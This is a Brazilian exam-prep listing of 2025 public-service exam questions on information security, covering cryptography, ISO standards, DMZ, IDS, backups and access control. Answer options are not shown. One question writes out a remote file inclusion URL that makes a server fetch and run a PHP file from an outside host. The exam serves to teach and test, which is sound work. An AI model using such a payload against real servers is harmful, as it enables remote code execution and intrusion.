Questões de Concurso Comentadas sobre segurança da informação
Foram encontradas 13.346 questões
Ano: 2025
Banca:
FUNDATEC
Órgão:
Prefeitura de Tangará da Serra - MT
Prova:
FUNDATEC - 2025 - Prefeitura de Tangará da Serra - MT - Analista de Sistemas |
Q3175756
Segurança da Informação
Assinale a alternativa que corresponde a um tipo de ataque a redes de computadores
cujo objetivo é realizar buscas detalhadas em redes, com o propósito de descobrir informações sobre
programas ou serviços de computadores ativos.
Ano: 2025
Banca:
FUNDATEC
Órgão:
Prefeitura de Tangará da Serra - MT
Prova:
FUNDATEC - 2025 - Prefeitura de Tangará da Serra - MT - Analista de Sistemas |
Q3175754
Segurança da Informação
A Infraestrutura de Chaves Públicas Brasileira (ICP-Brasil) é uma cadeia hierárquica
de confiança que viabiliza a emissão de certificados digitais para identificação virtual do cidadão. No
ecossistema da ICP-Brasil, o ente responsável por emitir, distribuir, renovar, revogar e gerenciar
certificados digitais é chamado de:
Ano: 2025
Banca:
FUNDATEC
Órgão:
Prefeitura de Tangará da Serra - MT
Prova:
FUNDATEC - 2025 - Prefeitura de Tangará da Serra - MT - Analista de Sistemas |
Q3175753
Segurança da Informação
Segundo a Norma ISO/IEC 27002:2013, são controles relacionados à gestão de
ativos, EXCETO:
Ano: 2025
Banca:
FUNDATEC
Órgão:
Prefeitura de Tangará da Serra - MT
Prova:
FUNDATEC - 2025 - Prefeitura de Tangará da Serra - MT - Analista de Sistemas |
Q3175751
Segurança da Informação
Qual é o protocolo de rede que provê serviços do protocolo TCP aprimorados com
serviços de segurança, tais como: sigilo, integridade dos dados, autenticação do servidor e
autenticação do cliente?
Ano: 2025
Banca:
FUNDATEC
Órgão:
Prefeitura de Tangará da Serra - MT
Prova:
FUNDATEC - 2025 - Prefeitura de Tangará da Serra - MT - Analista de Sistemas |
Q3175750
Segurança da Informação
Sobre o uso de DMZ (Demilitarized Zone) em uma organização, é INCORRETO afirmar
que:
Ano: 2025
Banca:
FGV
Órgão:
TCE-RR
Prova:
FGV - 2025 - TCE-RR - Analista Administrativo - Tecnologia da Informação, com especialidade em Desenvolvimento de Sistemas |
Q3174951
Segurança da Informação
A página web da sociedade empresária Exemplo1234, disponível
na internet, permite que internautas acessem o edital de uma vaga
de trabalho por meio do endereço eletrônico
http://empresa1234.com/vaga.php?file=vaga.pdf.
Durante a verificação de vulnerabilidades contratada por essa empresa, foi observado que o servidor da página web da Empresa1234 processava o valor fornecido no parâmetro file sem realizar validação ou sanitização adequada.
Como resultado, foi possível incluir e executar no servidor o conteúdo de um arquivo malicioso hospedado no endereço http://testevulnerabilidade.com/badpage.php
O teste foi realizado utilizando o seguinte endereço:
http://empresa1234.com/vaga.php?file=http://testevulnerabilida de.com/badpage.php
Ao acessar essa URL, o conteúdo do arquivo badpage.php foi carregado e executado diretamente pelo servidor da Empresa1234, comprometendo sua segurança.
O tipo de vulnerabilidade presente no servidor de página da Empresa1234 é o
Durante a verificação de vulnerabilidades contratada por essa empresa, foi observado que o servidor da página web da Empresa1234 processava o valor fornecido no parâmetro file sem realizar validação ou sanitização adequada.
Como resultado, foi possível incluir e executar no servidor o conteúdo de um arquivo malicioso hospedado no endereço http://testevulnerabilidade.com/badpage.php
O teste foi realizado utilizando o seguinte endereço:
http://empresa1234.com/vaga.php?file=http://testevulnerabilida de.com/badpage.php
Ao acessar essa URL, o conteúdo do arquivo badpage.php foi carregado e executado diretamente pelo servidor da Empresa1234, comprometendo sua segurança.
O tipo de vulnerabilidade presente no servidor de página da Empresa1234 é o
Ano: 2025
Banca:
FGV
Órgão:
TCE-RR
Prova:
FGV - 2025 - TCE-RR - Analista Administrativo - Tecnologia da Informação, com especialidade em Desenvolvimento de Sistemas |
Q3174950
Segurança da Informação
Durante uma auditoria no setor de TI de TCE-RR, foi constatado
que os analistas estavam utilizando criptografia por chave pública
para o envio de informações confidenciais. Para garantir que os
dados sejam protegidos contra acessos não autorizados, cada
servidor precisa configurar corretamente as chaves de criptografia
antes de iniciar a troca de mensagens.
Com base no funcionamento da criptografia assimétrica, sobre o processo de envio de uma mensagem criptografada é correto afirmar que
Com base no funcionamento da criptografia assimétrica, sobre o processo de envio de uma mensagem criptografada é correto afirmar que
Ano: 2025
Banca:
FGV
Órgão:
TCE-RR
Prova:
FGV - 2025 - TCE-RR - Analista Administrativo - Tecnologia da Informação, com especialidade em Desenvolvimento de Sistemas |
Q3174948
Segurança da Informação
Analistas do TCE-RR utilizavam uma plataforma web interna para
registrar auditorias. Durante a análise de segurança, foi detectado
que áreas de entrada de texto na plataforma, usadas para registrar
observações em relatórios, continham código malicioso
armazenado no servidor.
Esse código era executado automaticamente no navegador de qualquer funcionário que visualizasse os relatórios, redirecionando-os para sites fraudulentos.
Nesse contexto, o ataque foi identificado como
Esse código era executado automaticamente no navegador de qualquer funcionário que visualizasse os relatórios, redirecionando-os para sites fraudulentos.
Nesse contexto, o ataque foi identificado como
Ano: 2025
Banca:
FGV
Órgão:
TCE-RR
Prova:
FGV - 2025 - TCE-RR - Analista Administrativo - Tecnologia da Informação, com especialidade em Banco de Dados |
Q3174804
Segurança da Informação
A criptografia dos dados em diferentes estados vem sendo
utilizada tanto para garantir a segurança quanto para prevenir
possíveis vazamentos de informações sensíveis.
No contexto de segurança de banco de dados, avalie as afirmativas a seguir.
I. O protocolo HTTPS, bem como outros similares, tem se tornado default para APIs na nuvem modernas.
II. Criptografia de disco completo em laptops são essenciais para proteger dados em caso de roubo do dispositivo.
III. Todas as formas de dados armazenados, incluindo dados em servidores, sistemas de arquivos, bancos de dados e armazenamento em nuvem, devem ser criptografadas para proteger contra acessos não autorizados.
Acerca do estado dos dados nas três afirmativas, é correto afirmar que
No contexto de segurança de banco de dados, avalie as afirmativas a seguir.
I. O protocolo HTTPS, bem como outros similares, tem se tornado default para APIs na nuvem modernas.
II. Criptografia de disco completo em laptops são essenciais para proteger dados em caso de roubo do dispositivo.
III. Todas as formas de dados armazenados, incluindo dados em servidores, sistemas de arquivos, bancos de dados e armazenamento em nuvem, devem ser criptografadas para proteger contra acessos não autorizados.
Acerca do estado dos dados nas três afirmativas, é correto afirmar que
Ano: 2025
Banca:
FGV
Órgão:
TCE-RR
Prova:
FGV - 2025 - TCE-RR - Analista Administrativo - Tecnologia da Informação, com especialidade em Banco de Dados |
Q3174798
Segurança da Informação
Suponha que o TCE-RR adote a estratégia de backup diferencial,
com execução diária, e realize um backup completo apenas uma
vez por semana. No quinto dia após o backup completo, um
incidente ocorre algumas horas depois da execução do backup
diferencial diário, que foi realizado com sucesso, exigindo a
restauração dos dados para o ponto mais recente possível.
Sobre o processo de recuperação nesse caso, assinale a afirmativa correta.
Sobre o processo de recuperação nesse caso, assinale a afirmativa correta.
Ano: 2025
Banca:
FGV
Órgão:
TCE-RR
Prova:
FGV - 2025 - TCE-RR - Analista Administrativo - Tecnologia da Informação, com especialidade em Banco de Dados |
Q3174796
Segurança da Informação
O Controle de Acesso Baseado em Funções (RBAC) é um modelo
amplamente utilizado para gerenciar permissões de acesso em
ambientes organizacionais.
Assinale a afirmativa correta acerca do funcionamento do RBAC.
Assinale a afirmativa correta acerca do funcionamento do RBAC.
Ano: 2025
Banca:
SELECON
Órgão:
SENAPPEN
Prova:
SELECON - 2025 - SENAPPEN - Analista em Tecnologia da Informação |
Q3174233
Segurança da Informação
Uma empresa de TI instalou um sistema de detecção
de intrusos (IDS) baseado na identificação de ataques por
trechos de código que aparecem em variantes de malware, ou
comportamentos exclusivos associados a uma ameaça específica.
Esse tipo de IDS é baseado em:
Ano: 2025
Banca:
SELECON
Órgão:
SENAPPEN
Prova:
SELECON - 2025 - SENAPPEN - Analista em Tecnologia da Informação |
Q3174216
Segurança da Informação
Uma empresa de TI, aplicando a norma ISO 27002,
focada em controles de segurança da informação, está, no
momento, utilizando a diretriz de segurança das operações e das
comunicações. Isso significa que ela está trabalhando com:
Ano: 2025
Banca:
SELECON
Órgão:
SENAPPEN
Prova:
SELECON - 2025 - SENAPPEN - Analista em Tecnologia da Informação |
Q3174212
Segurança da Informação
Uma empresa financeira, para aumentar a segurança de
suas transações, adotou um método de criptografia assimétrica,
baseado nas propriedades matemáticas de curvas elípticas
sobre campos finitos, que oferece maior segurança por aplicar
comprimentos de chaves mais curtos, usando cálculos mais
rápidos e menor consumo de energia. Esse método é o:
Ano: 2025
Banca:
SELECON
Órgão:
SENAPPEN
Prova:
SELECON - 2025 - SENAPPEN - Analista em Tecnologia da Informação |
Q3174211
Segurança da Informação
Uma empresa de tecnologia implantou uma forma de
verificar e autenticar digitalmente seus usuários, que consiste
na transferência de um valor símbólico, emmoeda local, de um
usuário para a empresa. Essa transferência é um item obrigatório
e pré-definido pelo remetente do documento a ser assinado. A
plataforma da empresa vai realizar uma conferência a partir dos
dados pessoais de identificação do usuário (tais como CPF),
informados pelo remetente e confirmados pelo próprio usuário,
comparando os dados informados na plataforma e os cadastrados
no Banco Central junto à instituição financeira utilizada. Esse
método de autenticação digital é o conhecido como:
Q3173021
Segurança da Informação
No cenário atual de ameaças cibernéticas, as ferramentas de
segurança desempenham um papel essencial na proteção de redes
e sistemas contra ataques e acessos não autorizados.
Dentre as ferramentas mais utilizadas para garantir a segurança, destacam-se o firewall, o sistema de detecção de intrusão (IDS/IPS) e o antivírus.
A ferramenta que tem como principal função monitorar o tráfego de rede em busca de atividades suspeitas e prevenir possíveis invasões, é denominada
Dentre as ferramentas mais utilizadas para garantir a segurança, destacam-se o firewall, o sistema de detecção de intrusão (IDS/IPS) e o antivírus.
A ferramenta que tem como principal função monitorar o tráfego de rede em busca de atividades suspeitas e prevenir possíveis invasões, é denominada
Q3173020
Segurança da Informação
Os algoritmos simétricos e assimétricos desempenham um papel
fundamental na proteção de dados em processos de criptografia.
Os algoritmos RSA, Diffie-Hellman, AES e RC4 são comumente
utilizados para garantir segurança em várias aplicações.
Nesse sentido, assinale a opção que indica um exemplo de criptografia simétrica segura e amplamente recomendada nos padrões modernos, que utiliza a mesma chave para criptografar e descriptografar dados.
Nesse sentido, assinale a opção que indica um exemplo de criptografia simétrica segura e amplamente recomendada nos padrões modernos, que utiliza a mesma chave para criptografar e descriptografar dados.
Q3173016
Segurança da Informação
A segurança da informação é uma preocupação fundamental para
organizações de todos os portes e setores, garantindo a proteção
de dados e a continuidade das operações. As normas NBR ISO/IEC
27001:2013 e 27002:2013 fornecem diretrizes importantes para
implementar e gerenciar um sistema de gestão de segurança da
informação (SGSI).
Assinale a opção que representa corretamente o principal objetivo da norma NBR ISO/IEC 27001:2013.
Assinale a opção que representa corretamente o principal objetivo da norma NBR ISO/IEC 27001:2013.
Ano: 2025
Banca:
CESPE / CEBRASPE
Órgão:
TRF - 6ª REGIÃO
Prova:
CESPE / CEBRASPE - 2025 - TRF - 6ª REGIÃO - Técnico Judiciário – Área: Administrativa – Especialidade: Agente de Polícia Judicial |
Q3170572
Segurança da Informação
Julgue o próximo item, relativo a noções de segurança da informação e de serviço de inteligência.
A análise de riscos, além de englobar as ameaças e as vulnerabilidades, estende-se aos impactos decorrentes de cada evento adverso.
Ano: 2025
Banca:
CESPE / CEBRASPE
Órgão:
TRF - 6ª REGIÃO
Prova:
CESPE / CEBRASPE - 2025 - TRF - 6ª REGIÃO - Técnico Judiciário – Área: Apoio Especializado – Especialidade: Desenvolvimento de Sistemas de Informação |
Q3170264
Segurança da Informação
Acerca de gestão de riscos e continuidade de negócio, julgue o item que se segue, com base na NBR ISO 27005:2019 e na Lei Geral de Proteção de Dados (LGPD).
O processo de gestão de riscos de segurança da informação pode ser relativo à organização como um todo, mas também pode ser aplicado apenas a aspectos particulares de um controle da organização, como o seu plano de continuidade de negócios.
Conheça nossos planos